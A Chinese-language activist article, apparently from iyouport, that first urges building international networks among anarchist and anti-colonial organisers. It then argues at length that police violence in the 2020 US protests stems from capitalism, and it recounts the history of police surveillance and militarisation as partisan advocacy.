您可以通过向那些经历过、做过的人学习，以绕过绊脚石，这一点怎么强调都不为过。国际网络对于确保全球北方工业化地区的反抗者与几乎没有货币/物质资源而陷入困境的反抗者分享资源也非常重要。我们必须找到方法，确保我们为最艰难的斗争提供资金和物资。只有

当我们与全球各地的同道建立起弹性关系时，才能做到这一点。

交流方法

「图」

1. 数字化

「图」

社交媒体、电子邮件和网站都可以成为很好的基本联系方式。通常情况下，您会发现任何一个地区都有至少一两个人的数字存在，而且是用一种主要的语言发布内容的（广泛使用的共同交流的语言）。找到一个人的博客，一篇有他们联系邮箱的文章，或者一个发布无政府主义自治主义或反殖民主义内容的社交媒体账户，就可能找到一个接触更大关系网络的机会。他们自己可能都还不知道在自己的地区还有任何其他人也是无政府主义者，但也有可能他们知道。与哪怕是一个人建立关系，都可以帮助您的组织更好地了解该地区的政治局势和在那里组织起来的人们的需求。

从另一方面讲，作为个人和亲密团队那样的小群体，只要您愿意公开表达自己的价值观和描述您想要的世界，您就有可能吸引到志同道合的其他人，进而加入更大规模的组织。

当然，这需要详细地观察和交流，才能确定是否真的是同道。顶着一个logo头像或者喊几句口号，任何人都能做到，那没什么意义；识别和结盟同道的唯一有效方法是，看到彼此正在为同一个大的战略目标而努力。

2. 电话/无线电

「图」

使用电话通常是一个备份选项，有时比数字通信更有挑战性，至少需要把对方的语言说得足够好，以便交流需要讨论的话题。此外，在一些地方，电话/业余无线电可能是一个很大的安全风险，所以必须要注意。

顺便说，目前您仍然可以使用寻呼机，它比智能手机更安全。网上有相关教程（即便您没有树莓派也没关系）。

3. 亲临现场

「图」

组织旅行以建立人际关系可能是非常有效的，可以建立持久的联系。每一个有效的革命运动都使用过这些类型的旅行，从美国的游击队访问墨西哥的马贡主义者，到萨帕塔人最近在世界各地的信使航行，等等。

如果可能的话，请确保这些类型的旅行计划是相互的。这可以确保关系的建立是真正在一个平等的环境中进行的，而不是复制欧洲传教士的救世主身份，那会很令人讨厌。

基本技能

「图」

1、语言

「图」

您现在就可以开始发展的主要技能是语言。如果您的小组里有十几位队友，您就已经有足够的人手去学习多种语言。单语主义是一个民族主义项目，多语主义是一个国际主义目标。移民会告诉您，了解三到五种语言的基本对话水平是很常见的。相信您也可以发展这种技能。

这是一个绝对的事实，发展这种技能是发展有意义的团结的一个基本努力。您在国外的同道用您的母语和您说话，而您却不能回报这种努力，用他们的母语说话，这可以接受吗？如果您把整个翻译工作的负担放在那些不仅讲您的语言，而且还讲您希望与之建立团结的人的语言的同道身上，这可以接受吗？毫无疑问，学习一种新的语言是艰苦的工作，但这是您的国际同道们已经在做的工作。

在一个朋友群体中，语言重叠对国际网络和相互学习有很大好处。它确保了语言的冗余，同时也涵盖了足够的语言基础，以建立有意义的国际网络。

文本的翻译对于分享革命思想也是一项极其重要的任务。译入和译出一种语言可以确保知识上的交叉授粉，使我们大家都不至于落伍或重复工作。即使是翻译得不那么好的文本，也比没有翻译更好。让一群人从事翻译工作也能极大地提高翻译的质量。一些在线翻译工具可以

用来翻译大量的文本，更加省时，由志愿者逐一阅读并在翻译过程中进行更正。这样可以节省时间，提高将材料翻译成多国语言的工作效率，使信息共享更加及时。https://t.me/iyouport/8596

2. 文化知识

「图」

文化知识是建立关系的一个重要部分。这并不意味着带着先入为主的文化期望进入国际沟通，但它确实意味着您要善于观察，在假设之前先询问，并适应对话双方的文化需求。

在政治上，不同国家的人们可能还没有处于相同的发展阶段，或者彼此可能不同意所有相同的政治目标，但没有关系，请确保您尊重其他民族的自决权意味着您不会对其他民族的斗争或组织的标准指手画脚。如果某件事情很恶劣，可以说出来。清楚地说明您为什么不同意某些事。如果这是您可以解决的问题，那很好，去试试看；如果不是，就没有必要与那个特定的个人或团体进一步沟通。

3. 对界限的相互理解

「图」

如同所有关系中都有界限，在联盟中也是如此，应该从一开始就进行沟通。确保双方都知道并同意哪些话题和战术会被讨论，哪些不会。确保双方都同意互利的安全文化。确保双方都明白将使用什么形式的沟通渠道和语言。

【注：您应该有适合自己的安全文化，这取决于您的具体威胁模型；如果您还不了解安全文化构建的基本框架，这里的内容将可以帮助您。】

最后：只需伸出手

「图」

还记得吗，您在生活中所拥有的一切，都是从伸出手开始的。在您学会游泳之前您会尝试把胳膊放在水中滑动，您的手伸出来抓住您要攀登的绳子，在迎接新面孔时举起的手 …… 您已经通过伸出手迈出了很多个第一步。通信和联盟也不例外。建立联系本身就是一种革命性

的信仰和团结的行为。上好您的第一堂语言课；给您尊敬的、不在您的政治地理范围内的同道发送一个私信；报名参加语言交流活动；去参加一个地区性的聚会；阅读一个不是用您的母语发表的行动主义的新闻博客；开始抽出时间，在真正的革命团结中构建更有意义的联系。

您能做的事有很多，非常多，您可以立即开始。图景已经清晰，现在我们缺少的只是起步。〇

原文

当我们陷入困境：中国社会能从美国的反抗运动中学到什么 - iyouport

BLM2020社会反抗和思考维稳面面观行动技巧、战术和原理长读

（2020年6月9日存档）本报告较长，非常希望您能完整阅读。因为对中国社会来说是重要的。我们不希望过多分析中国（在多年前我们曾做过这样的事）而现在我们希望专注于扫清认知层面的障碍、和技能的提升，即“该如何”+“怎么办”，而不是“为什么不行”。

也许大多数中国读者都已经知道最近发生了什么。明尼阿波利斯一名手无寸铁的黑人男子、和肯塔基州路易斯维尔一名手无寸铁的黑人妇女，被警察暴力致死；此后全国各地乃至全球多个国家都爆发了抗议活动。

此前已经从“智能镇压”角度上对此次抗议活动进行了分析，在这里看到《警察用哪些监视方式瞄准抗议者？》；

本文将尝试从了解、理解和学习的角度解释这场运动 —— 希望能有利于中国社会的行动者。

这场运动的背景是什么

「图」

> 经济、卫生和司法的不平等犹如鸿沟一般经年持久，George Floyd 的死亡只是最后一根稻草

抗议活动进入第八天时，特朗普开始吹嘘自己在减少黑人贫困和失业问题以及通过刑事司法改革方面的记录。他在推特上写道：“自从亚伯拉罕·林肯以来，我为黑人社区做的事比其他任何总统都要多。”

这是真的吗？在特朗普的领导下，非裔美国人的境况会更好吗？这与抗议活动有什么关系？

根据普查局的数据，非裔美国人的收入仅为非西班牙裔白人的五分之三。2018年，黑人家庭平均收入为 41400 美元，而白人为 70600 美元。

这是巨大的差距。相比在种族关系也很紧张的英国，黑人的收入是白人的90%。

与1970年的时候相比，收入差距的确是缩小了，当时的非裔美国人的收入仅为白人的一半。但是，所有的改善都发生在1970年至2000年之间，此后情况再次恶化。

而2020年冠状病毒疫情的打击导致不平等差距更为明显。因为非裔美国人普遍被安置在低技能或无技能的苦力劳工岗位，这些工作更容易受到冠状病毒的威胁。

这并不是全部。收入数字本身就严重低估了实际的经济差异，因为它们仅描述了有工作的那些人。

杜克大学的 Patrick Bayer 和芝加哥大学的 Kerwin Charles 进行的一项研究表明，令人震惊的35%的黑人年轻人半失业或完全失业，这个数字是白人的两倍。

这个庞大的数字似乎与非裔美国人的高被囚禁率有关：除了在监狱中的囚犯之外，许多人放弃了找工作，因为雇主不雇佣曾经进过监狱的人。

司法权利上的悬殊也加剧了收入和工作上的不平等。

黑人和白人之间的贫富差距甚至大于收入差距。根据美国联邦储备委员会（Federal Reserve Board）2017年的一项调查，非裔美国人的中位数净资产仅为 17,600 美元，而同期非西班牙裔白人的资产中位数为 171,000 美元。这个差距与1990年相同。

这已经渗透到非洲裔美国家庭的日常财务经验中。

零资产或负资产（即债务大于资产）的黑人是白人的两倍。在过去60天内被拒绝信贷或逾期付款的黑人人数是白人的两倍多；无法在一个月内支付所有账单的黑人人数是白人的两倍多；只有43%的黑人说他们可以在紧急情况下向家人或朋友借3000美元，而白人的这一比例是71%。

在经济上，比白人更多的非裔美国人生活在危机的边缘，离灾难只隔

着一张薪水支票。

Covid-19 是一场巨大的灾难，非裔美国人受到的打击最大。

纽约的黑人和西班牙裔公民死于 covid-19 的可能性是白人的两倍。而芝加哥的黑人则是五倍还多。

部分原因是他们所做的工作是在整个疫情过程中需要持续的工作，比如护理工作、分娩协助等等，占有很高的比例；另部分原因是他们比白人更有可能没有健康保险（现在12.2%的黑人没有保险，而2018年为7.8%）；最重要的原因是，因为他们有更多的慢性病问题，体质差使人们容易感染病毒。

根据疾病预防控制中心的数据，年龄在18至49岁之间的非洲裔美国人死于心脏病的几率是白人的两倍，死于高血压的几率是白人的50%，死于糖尿病的几率是白人的两倍。

有非常多的证据足够表明，司法不平等与经济地位之间有着密切联系。这点中国人肯定不会陌生。

根据美国司法局的数据，2016年黑人的人均被监禁率是白人的六倍（而且令人惊讶的是，这甚至是一个进步：2006年，该比率为七倍）。

密歇根大学和不列颠哥伦比亚大学的研究人员进行的一项研究发现，如果白人和黑人或西班牙裔美国人犯下同一罪行，黑人或西班牙裔美国人将被判处更长的刑期。

另一项研究指出，这是因为法官们不认为黑人可以支付罚款而避免入狱，他们担心如果黑人获释，他们将无法找到工作并会沦为罪犯。换句话说，贫穷和失业使黑人的量刑习俗更加严厉，而这些习俗使黑人很难以找到工作。

如果您想了解司法不公问题，这里有一个报道，足够对此有清晰的一瞥《穿“错了”衣服会导致你被捕》；intercept 也有一个很好的梳理，关于，为什么黑人一直在警察的 “恐怖分子” 数据库里，见《他们不喜欢的一切都被定义为恐怖主义》。

请注意：以上都是表面现象。巨大的不平等鸿沟究竟是什么造成的？

在这里看到警察杀害平民的全国数据 —— mapping police violence 组织长期汇总这一数据，下面仅仅是2019年数据的截图：

这场抗议的目标应该是什么

「图」

资本主义和民主为什么不兼容，这个问题在政治学角度上已经有过非常多的解析；我们将在后面做一些简要归总。

对于这场运动的真实背景和目标，美国著名说唱歌手 Boots Riley 做出了非常出色的分析。在这里看到他曾经的文章。我们来总结并延伸一下。

种族主义暴力和警察谋杀是资本主义所固有的。除非能真正摆脱资本主义，否则它将一直存在。

理解到这一点正是抗议者能找到捷径方法的关键 —— 可以集体找到对抗这些不公正现象的更直接的反抗方法。下面简要解释为什么。

在资本主义制度下，你不能得到充分的就业。

资本主义必须有一定比例的失业人口存在。

当失业率降低到某个特定水平时，您就会看到 WSJ、FTimes 这些企业媒体表示担心，因为，这意味着工资会实时上涨，而股票价值会实时下降。

必须有一支足够大的失业工人大军，以便资本家老板可以随时威胁工人 “不想干就走人，抢着干的人有的是” 来降低工资水平。这支失业大军的规模越大，工人被动 “竞争” 的局面就越激烈，工资水平就越低。

关键是要保持尽可能低的工资。

如果有充分的就业机会，工人可以告诉老板 “我要每小时75美元，你不答应的话我就辞职另寻高就”，而老板就会害怕，因为他们无法轻易找到代替辞职工人的其他求职者。他们就不得不屈服于工人的需求。

在中国，**996**抗议运动没能实现根本性变革的原因与此直接相关。

资本家刘强东可以大言不惭地说：“混日子的人不是我的兄弟！”；而马云在阿里内部会议上则表示，996是你 “修来的福报”。

与此同时我们也看到了很多来自中国民间的奇怪的评论，人们说“你要是辞职去做自由职业那可比996累多了”、“干的多赚得多，趁年轻多赚点，老了干不动了也不至于饿死”、还有人称“占着大牌企业的工作岗位你还矫情什么？务实点儿吧，马上就35岁了，你再去人才市场和年轻人挤试试看，除了送快递的工作，没人会搭理你了！”……

您现在明白马云和刘强东这些资本家为何如何嚣张了。而民间的奇怪舆论所体现的正是资本主义社会的人们所面对的现实不公和剥削——就业年龄歧视、养老压力、变态的竞争、失业威胁，等等。

人们面临着实际的生存困境，这一困境的源头是资本主义体制。美国的抗议者很清楚这点，而在中国，很大程度上人们尚且没能认识到中国社会也是资本主义性质。（对此，晚些时候还将有具体分析）

这就导致了中国社会很可能将美国的反抗运动视为“别人家的事”，更难以有联合的积极性。当然也有其他原因，包括中国当局的恶意愚蠢手段在不断影响人们的思考方式。

本文希望通过分析这场运动，来帮助中国社会理解这场运动本身；而不仅仅是警察国家的暴力和种族歧视的表面现象。

企业每年必须比上一年赚更多的钱，因此，资本主义需要一支失业工人大军才能维持生存。

那么您如何理解失业工人大军呢？他们是饥饿的一群人，他们需要吃饭。

而且他们没有工作，因为资本主义 *需要* 他们失业和绝望。

那支失业工人大军不会眼睁睁地让自己或家人挨饿和无家可归。他们会被迫选择从事非法业务。

甚至许多从事合法工作却收入不高难以养家的人们，都需要去做一些非法业务，以赚取额外的收入—— Bring home the bacon，每一位成年人都明白这个短语中蕴含着多么大的辛劳、责任感和压力。

所有不论是合法的还是非法的东西都使用暴力来规范它们自己。他们称为“规矩”。那些举着枪的警察会亲自执行这些“规矩”。

那么究竟什么是非法呢？不同时期有着完全不同的定义。

在禁酒时期，酒是非法的，是“不规矩”的；你有酒，流氓会追打

你。现在是，警察追打你。20年前，大麻是非法的。你有大麻，你的朋友会追打你。同样，现在警察追打你。

非法业务没有警察或法院对其进行监管，就像监管合法业务那样，没有。您不能上法庭说："尊敬的法官，我买的是整整一公斤的可卡因，而这里面显然有一半是小苏打。我要求赔偿！"

也没有分区委员会能让您去抱怨。没人会这样主持秩序："该街区仅适用于一个可卡因销售商，如果一个人想在同一地区出售可卡因，他将必须获得特别许可。"

因此，非法商业从业人员必须自己来监管业务。每一种管制都需要施加武力和暴力，就如在警察和合法业务方面那样。没有暴力就无法开展业务。

您不会因非法生意而失业；但没有失业就不可能有资本主义。

简单说，没有贫穷、失业、所谓的"犯罪"和暴力，就不可能有资本主义。

但是，你知道，有任何统治阶级（在美国是那些白人）会告诉整个工人阶级，他们的贫穷和低工资是经济体系中固有的东西？他们会承认全世界最富有的家伙如贝索斯和彭博的财富要依赖于这些底层保持贫穷吗？

他们不会告诉你。永远都不会。

相反，这些富人通过他们所拥有的媒体集团（企业媒体）向工人阶级宣传扭曲的价值观：低工资、贫穷和暴力的增长是由于穷人自己的错误决定所致。在价值观层面上给人们洗脑。

这些企业媒体不愿也无法诚实。

- 《守门人作为认知杀手》
- 《媒体巨头和硅谷的武器化算法沉默异议》

全世界的贝索斯们和彭博们根本不必亲自编辑或制作这些洗脑材料，他们只需要雇用那些愿意乖乖听话重复这些资本家的观点的编辑和作家。这不难，这些人中的很多都来自相似的背景和/或培训/教育，也就是说，在他们入行变成大喇叭之前就已经被充分灌输了这些资本家们的政治观点。

但是，这些资本家该如何告诉整个工人阶级，他们的低工资和贫困是资本主义的根基、同时避免工人阶级决定站起来摆脱统治阶级的压迫呢？

他们没有。也不会想去做这件事。

相反，他们指着黑人和其他有色人种，对白人工人阶级说："看看那些野蛮人。他们很暴力，他们的文化缺乏在这个系统中成长所需要的东西，他们工作不努力，他们各方面都不如白人 ……等等"。

这些资本家告诉人们："那些黑人之所以如此不堪就是因为贫穷，这些黑人和其他有色人种的人由于自己的所作所为而处于贫困之中，而资本主义是如此地行之有效，如果你做得对，就可以从中获得财富"……

他们不断支持这一谎言，即"黑人社区比白人社区犯罪和暴力行为更多"。

已经有太多的研究表明：如果您将黑人社区与相同收入水平的白人社区进行比较，犯罪与暴力的水平是基本相同的。这里有一些研究报告。

谎称黑人犯罪作为种族主义暴力遮羞布这种做法早已不是什么新鲜事。1906年，亚特兰大的报纸就制造了虚假的"黑人犯罪浪潮"谎言，最终导致州民兵和县警察挨家挨户突袭每个黑人家庭，以没收枪支。

人们在这些突袭中遭到殴打和谋杀。在随后的几十年中，不断有媒体在华盛顿，纽约和其他城市掀起"黑人犯罪浪潮"的谎言，导致了对黑人社区的镇压。

白人资本家必须保持他们对这一谎言的信仰，并更广泛地传播这一谎言，因为这样一来，他们就可以让白人工人阶级说："我根本不喜欢那些黑人—— 我在道义上是正直的 …… 如果我个人确实有一些财务问题，那是我需要进行自我提升的原因。不是经济体系问题。至少我不是他们（那些黑人）。"

这就是为什么你能看到那些年收入22000美元的家庭中的白人称自己为"中产阶级"并与统治阶级保持一致的原因。

这些人不仅是特朗普的簇拥；如果你看看 Elon Musk 的推文就能知道，他们也在他的帖子下面跪舔—— 那些囊中羞涩的人，在那里跪

舔。

但是现在，贫穷以及由此产生的 “犯罪” 和暴力已被广泛地定义为个人问题，并且，进一步种族主义地定义为源自固定社区文化的问题，这些歪理已经被深深植入了大众的内心。不仅是美国大众，也包括所有信仰精英资本家的社会的大众—— 包括中国。

您能从中国看到非常多的对黑人的歧视、对穆斯林的歧视，甚至包括自称为民主派的人士，都抱有这种奇怪的歧视态度，这不是没有原因的。至少你能发现，这些人都习惯于将美国企业媒体作为唯一的知识获取渠道—— 即 那些资本家贝索斯们和彭博们操控的喉舌。

造成这种情况的主要原因之一依旧是中国当局的恶意愚蠢（民族主义角度的恶意愚蠢），中国当局封锁的基本都是美国的企业媒体，导致人们误认为 “被封锁的才是好东西”。这是源于一个典型的人的心理弱点，被心理操纵称为 “可得性法则”。未来我们将有一套新的关于心理操纵（洗脑）手段的解析文章，其中会再次提到这点。

律师 Dave McKenna 指出，世界上最大的盗窃案是工资盗窃：包括雇主通过不付款、低于最低工资的数额支付、扣留加班费和带薪病假权等手段。

这个世界上最严重的盗窃就是工资盗窃。也就是说，被盗的工资数额加在一起远大于所有其他形式的盗窃 如抢劫，入店行窃，汽车盗窃等案件每年的价值数额总和。

但是，你知道，盗窃工资却不被认为是犯罪。

如果你从雇主那里偷了100块，你会被逮捕。但如果雇主克扣你100块工资，警察只会告诉你去劳资部门投诉。如果劳资部门不管，你还有一项私人诉讼权，可以向雇主提起民事诉讼，要求其赔偿您所欠的款项以及损害赔偿。但获得审判可能需要6到18个月的时间。

即便你打赢了官司，盗取你工资的雇主也不会有犯罪记录。

简单说，法律从字面上将盗窃工资定义为 “不是犯罪”。

您盗窃，是犯罪。雇主盗窃，不是犯罪。

这就是为什么说犯罪是 “社会建构的” 的意思。并非所有的社会危害都被定为犯罪。并非所有对社会造成伤害的行为者都被定为犯罪。

McKenna 说，去年他为3个客户解决了27000美元的案件。花了一个月的时间就保密协议进行谈判，因为雇主表示，如果所有员工都起诉他并像这样来解决，他就会破产。他的商业模式就取决于盗窃工资。

有一些人起诉，他就不得不付钱给他们。而其他大多数人没有资源和精力进行多年的诉讼。结果一无所获。

这足够显示警察所谓的 “高犯罪率社区” 这个标签是多么的荒谬，尤其是警察监视的任意性和种族主义反应。

你下毒给一个人，你会被判刑；而制造水和空气污染毒死成千上万人的家伙，正是那些坐拥最大财富的家伙，是那1%的权贵。

造成最大伤害的人并不在监狱里，也不住在所谓的高犯罪率率社区。现在您知道 “黑人犯罪率更高” 的论调有多荒谬了。

那么，警察的作用是什么？

如果警察真的想 “打击犯罪”，那么他们就应该去寻找 “犯罪” 的根源。这个根源就是统治阶级。如上所述，亿万富翁资本家导致低工资、贫困和 “犯罪”，而这正是资本主义所必需的。

如果警察介入其中以制止 “犯罪” 和由此产生的暴力，那么他们将不再是警察—— 而是革命组织者。

因为犯罪的根源并不在黑人社区和其他有色人种社区内，甚至不在白人工人阶级社区内，而是在高档住宅区：贝莱尔、第五大道、和硅谷。

但是，如上所述，正因为关于黑人和其他有色人种的种族主义思想是资本主义所必需的，因此，黑人社区警察的工作在其功能上就是抵制该社区的战斗人员之一。

那些警察在执行任务时避免认知失调的唯一办法—— 即 认为自己在做正确的事、在工作中发挥作用的唯一方法—— 就是，他们 *接受* 暴力、犯罪和贫困的种族主义观念。即使警察本人就是黑人或有色人种。

要制止警察暴力的唯一根本性解决方案是，制止资本主义。

一场反抗运动能否成功，取决于行动者能否意识到自己真正的力量所在。

如果抗议者希望对 George Floyd 的谋杀案和其他几乎每天都在发生的谋杀案采取短期正义措施，则需要要求至少进行一些现实的改革，举行罢工，需要有明确的要求。

举行大规模的罢工，直到他们不仅逮捕了其他警察，而且还任命了人们信任的检察官以便人们可以通过起诉寻求正义。

再说一次—— 这并不能解决根本性问题—— 但是，如果我们想要展示我们能做的事，那就表明，这些谋杀案要付出代价。这是最基本要做的。

只要您有工作，每个人都可以参与。但是这场行动必须被组织起来，并且有办法找出罢工行动能令其最有效的行业。

每一个问题都是庞大的，无法期待一次性完全解决。只有在人们一次又一次地抵抗和组织变革的情况下，真正的变革才会发生。

我们应该知道我们想要建立什么样的世界。

资本主义和民主不兼容

「图」

皮尤（Pew）在最近的一项全球调查中发现，在27个国家的受访者中，有51％的人对民主的运作方式很不满意；并且，千禧一代和Z世代对资本主义越来越不感兴趣，在美国只有一半的人尚且对资本主义持积极态度。

鲁汶大学教授 Isabelle Ferreras 指出，民主是一种体制，其基础是承认人民在“尊严和权利”方面平等，因此应享有平等的政治权利。此理想可应用于任何大小的实体。

资本主义也是一种体制，但是它是基于不平等的。它根据资本所有权授予政治权利。它的核心机构是公司，由两类投资者组成：资本和劳动力。

在资本主义公司中，治理的政治权利仅由资本投资者通过公司的法律手段持有。

在资本主义公司的逻辑中，最重要的人只是那些拥有资本的人，换句话说，就是股东。

他们行使权力并获得大部分的财务回报，而劳动力（即工人）被剥夺了选举权，并且地球的资源被耗尽。

资本主义并不是天生支持自由市场。市场是国家合法和文化生产及担保的一种交换机制。它在协调供需方面的优越性已得到证明，但是，很少有人承认市场经济在企业层面上既与民主政府也与资本主义政府兼容。资本主义和民主都需要市场，而不是需要彼此。

印度发展经济学家 Reetika Khera 指出，尽管资本主义和民主都没有理想的形式存在，但民主的承诺比资本主义的承诺对我们更具吸引力。例如，与民主制不同，资本主义甚至没有努力实现平等。

资本主义的现实令人不安。不管是汽车制造商捏造排放物、银行无罪转移钱财、还是那些跑路的商业大亨，你看不到 “遵守法治和法律面前人人平等” 的概念。

就算那些有权势的资本家不违法，他们也会收买影响力、塑造对自己有利的法律制定过程（例如，取消基本的工人保护举措），并进行 “合法” 盗窃。上：业余抢劫犯；下：专业抢劫犯

你知道，在过去的几十年里，糖业和烟草业是如何收买知识分子操作有偿的谎言论文，以掩盖其产品的不良影响；今天，你看到科技行业也在做类似的事，包括操纵选民 —— 破坏自由和公平的选举，而自由公平的选举正是一个正常运作的民主的基础。

- 科技寡头是如何操纵选举的《国王们的晚宴—— 这是一场看不见的政变》
- 《心理操纵的秘密：”行为经济学”＋PR＝？》

民主和资本主义需要彼此吗？并不需要。资本主义比民主本身更需要伪装民主。

智利大学经济与商业学院经济学系教授（前院长）Manuel Agosin 指出，资本主义完全可以在没有民主的情况下长期生存，中国、俄罗斯、土耳其和其他独裁国家的经验就证明了这一点。这些资本主义通常赞成腐败和通过诸如党派忠诚之类的优点来控制资源。

通过强调个人主义和个人收益，资本主义趋于滋生市场集中度和一系列长期滥用行为，正如大萧条所清楚表明的那样。个人和公司不断受到诱惑，以逃避法律或利用法律漏洞。

金融部门特别容易出现这种行为，因为它使市场参与者不仅可以通过

提供人们需要的服务来获得收益，而且可以通过巧妙地操纵 “金融工程” 来获得收益。

这种创造力对社会没有任何价值。相反，它通常会带来各种状况，这些状况积累起来就是金融危机。

佛罗里达大学政治学助理教授 Steven Klein 指出，民主和资本主义的组织原则不同。

民主建立在这样一个信念上，即 每个人在影响自己的决定中都应享有平等的发言权。资本主义则没有。相反，它基于利润动机和准入门槛。

这是它们彼此拉锯的核心：实现平等声音的理想意味着限制个人和企业放弃其经济和政治关系的能力，即使民主决定不利于他们。我们知道这种紧张局势的后果是：资本家在加入新的民主检查制度之前就转向了威权主义。

关于美国的情况，这里有一篇文章可以参考《America’s Version of Capitalism Is Incompatible With Democracy》。

下面我们来汇总一下这场抗议活动中出现的议题。

警察如何追踪抗议者？漫长而丑陋的历史

「图」

> 我们现在看到的现代高科技监控和追捕，仅仅是警察追捕抗议者这个漫长历史中的一个小片段。

在最近发生的这场抗议运动中，大多数参与者只是在行使他们的宪法权利来表达异议，但是，许多人都忽略了技术是如何从根本上重塑示威活动的监控方式的。

警方已经使用了从 “捕食者” 无人机到面部识别技术等各种手段来追踪抗议者，依靠那些为海外战争开发的工具来监视本国异议人士。

- 汇总报告 《警察用哪些监视方式瞄准抗议者？》

但是，谁也不能说这是史无前例的。Fast Company 指出，早在18世纪，警察就已经利用各种技术来打击异议了 —— 特别是有色人种社区的异议。

这个场景相信很多人都会非常熟悉。黑人和棕色人种的纽约人走在城市的大街上时，都会被怀疑地盯着， 警察会用技术手段来观察他们的去向和见面对象。

但在当时，这个场景中的技术不是无人机，也不是手机数据，而是一盏简单的灯笼。

早在18世纪，殖民者担心那些被他们卖掉、囚禁、杀死的人可能会反目成仇，于是他们要求每个奴隶和美国原住民在天黑后都要随身携带一盏灯笼。

1791年，他们在纽约市通过了最古老的监视法，那时纽约州还没有宣布独立或消除奴隶制。

这些灯笼成为了追踪信标 —— 一种防止奴隶和美洲原住民聚在一起抗击奴役和压迫的方法。

在今天，对边缘化社区进行所谓的治安管理时，技术再次发挥着与曾经相同的作用：现代技术使监视异议的成本降低了，变得更加容易。

随着技术的发展，警察追踪和打击示威者的权力也有所提高。

在纽约征兵暴动期间，政府官员依靠当时最先进的通信技术（电报）来协调他们的反应、分配警力、并分享有关抗议领袖的情报。

由于在整个19世纪末镀金时代的巨头们非常害怕起义，他们不仅建立了庞大的、类似堡垒的军械库 —— 直到今天还遍布美国的主要城市，并且，他们还建立了严密的线人和监控网络，以追踪所有可能反抗现状的人。

这个监视基础设施只是在20世纪初才被扩大，因为巨头们对无政府主义者、社会主义者以及除了全心全意的资本家以外的任何人的恐惧都越来越大，导致了监控邮件的新权力诞生。

根据1918年的《煽动法》，邮政局长有权阻止投递任何含有“对美国政府、美国宪法或美国军事或海军不忠、亵渎、无礼或辱骂性语言”的信件。

随着20世纪的到来，对异议人士的定罪和监控又出现了一个转折点：电子通讯。

在窃听技术和当时最先进的录音设备的支持下，警方对敢于持不同政

见的人们进行监控已经成为家常便饭。

对于联邦调查局来说，对“共产主义关系”的恐惧是窃听和记录马丁路德金博士的借口，因为他为结束 Jim Crow 法的恐怖主义而斗争。

这些录音从未被用来逮捕这位非暴力和平反抗的倡导者，但是，联邦调查局却将其作为一种威胁手段，连同一张敦促金博士自杀的粗鲁纸条一起寄了过去。

即使在20世纪中叶，窃听和远程监视摄镜头变得司空见惯之后，卧底警察和线人仍然是监视地面抗议活动的中心。

（注：不久后我们将发布一套如何识别当局渗透行为的分析报告，共3篇，将重点探讨卧底警察和线人的特征，以帮助行动者提高警惕）

数字时代再次改变了一切。如今，世界各地的警察部门都能够部署广泛的监视工具，以前所未有的精度跟踪示威者。

同样重要的是，与早年相比，这些工具使监视更多的人变得便宜且容易。

- 追踪抗议者的演示《你的手机如何背叛了民主？》
- 演示（尚未发布）《1200万部电话，一个数据集：利维坦眼中的世界》

在现代抗议活动中，IMSI捕获器（黄貂鱼）、手机日志、Wi-Fi热点都可以将每个人的移动设备瞬间转变为政府跟踪工具。要知道，苹果和谷歌声称用于**COVID-19**防疫的联系人跟踪工具蓝牙芯片也同时可以跟踪您的政治活动。

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》
- 《黄貂鱼被放在飞机上一次性监控成千上万部手机》
- 《为什么你不应该使用Wi-Fi》
- 《Wi-Fi是如何出卖你的？》

新形式的生物识别监控，如 面部识别和步态识别，可以从一个视频信号中识别出成千上万的抗议者。

- 在这里看到详细介绍 列表-1 “生物识别及防御方法”
- 《中国的步态识别监视正式铺设：”受美国的启发”》
- 《重新学走路：愚蠢步行法抵制步态识别的兴起》

而像 Palantir 这样的数据分析公司，因支持 ICE 的驱逐工作而受到国际谴责，该公司帮助各种政府机构从所有这些来源以及执法部门拥有的最强大的信息来源之一：我们自己的社交媒体账户中 —— 收集大量数据。

- 关于 Palantir 《邪恶列表—您了解这些邪恶公司吗？》（尚未发布）
- 以及《冠状病毒危机究竟是否能够结束？：威权主义的权衡》（尚未发布）
- 还有《冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》（尚未发布）

这场抗议活动开始的几周内，已经有抗议者成千上万的未编辑照片和录像视频给政府提供了一系列的监控手段，甚至超出了其自身系统提供的监控能力。

对于许多人来说，这些视频和图像是放大抗议权力的一种方式，但是，它们也可以放大警察的权力。

尽管跟踪并不是什么新鲜事，但当下如此规模的跟踪是前所未有的，并且有可能破坏民主的某些最基本方面。

当潜在的抗议者知道他们所采取的每项行动都会被记录下来时，很多人会害怕加入抗议。由于害怕失去工作、害怕失去奖学金、或甚至失去移民身份，许多人会在最需要他们的声音的那一刻感到自己想要被迫保持沉默。

这或许也是华裔移民者从未参与当地反抗运动的原因之一。

如果放任不管，对抗议活动的监视将造成这样的局面，即 只有那些享有特权的极少数人才有资格抗议。这将造成民主的最终变异。

- 不要错过！防御方法 《指南：当您准备参加抗议活动…》
- 更多给行动者的防御方法，详见 列表-5 “护盾”

警察军事化的危机

「图」

军方抵抗特朗普政府的镇压令，这件事在中国网络广为流传 —— 被赞颂和仰慕。这的确很好，但是，军方的拒绝完全没有意义。为什

么？

因为警察本身就具备五角大楼的军事能力。

国家广播评论员和作家 Jim Hightower 对警察军事化问题做出了详细的说明。

从1776年开始，美国人一直努力反对让士兵在本国土地上做警察工作，但是，近年来，五角大楼负责人与警察局长合作，以规避这一禁令。

他们是怎么做的？只需将警察部门军事化即可。

通过鲜为人知的**1033**项目，五角大楼一直在向本地警察运送大量的剩余战争装备。

这反映了目前指导社区警务的思维方式的根本性重新定位。

警长通常派出挥舞着沉重武器的小队，并穿上防暴装备以维稳局势。

招募视频中就有大量特警穿着黑色制服的剪辑片段，将烟雾弹投掷到房屋，然后猛冲进去，举起自动武器。

谁会希望被该视频招募的人在你家附近工作？

中国也有 —— 只看一眼，不要吐：

来检查一下他们的武器：超过 93000 挺机关枪，533 架飞机和直升机，180000 枚弹药筒，432 枚防雷埋伏防护车 …… 虽然听起来可能是美国军方，但是，正相反，这些装备是您当地的警察部门在您的城市里巡逻。

警察在很大程度上已经转变成军事力量，装备了武装部队、装备了战甲，并灌输了军事心理，而不是社区警务的道德规范。

30年前，国会制定了1033军用物资转让项目，提供联邦拨款，以便警察局长和警长可以从五角大楼购买多余的火力。

在惊人的短时间内，当地的警察部队已成为了豪迈的军事部队，拥有从**30**吨坦克到步枪消音器的丰厚五角大楼免费赠品军械库。

他们已经从维持和平行动的人变成了侵略性的过度特警队，特警队每

年面向公民释放数万次，做的不过是普通警务工作。

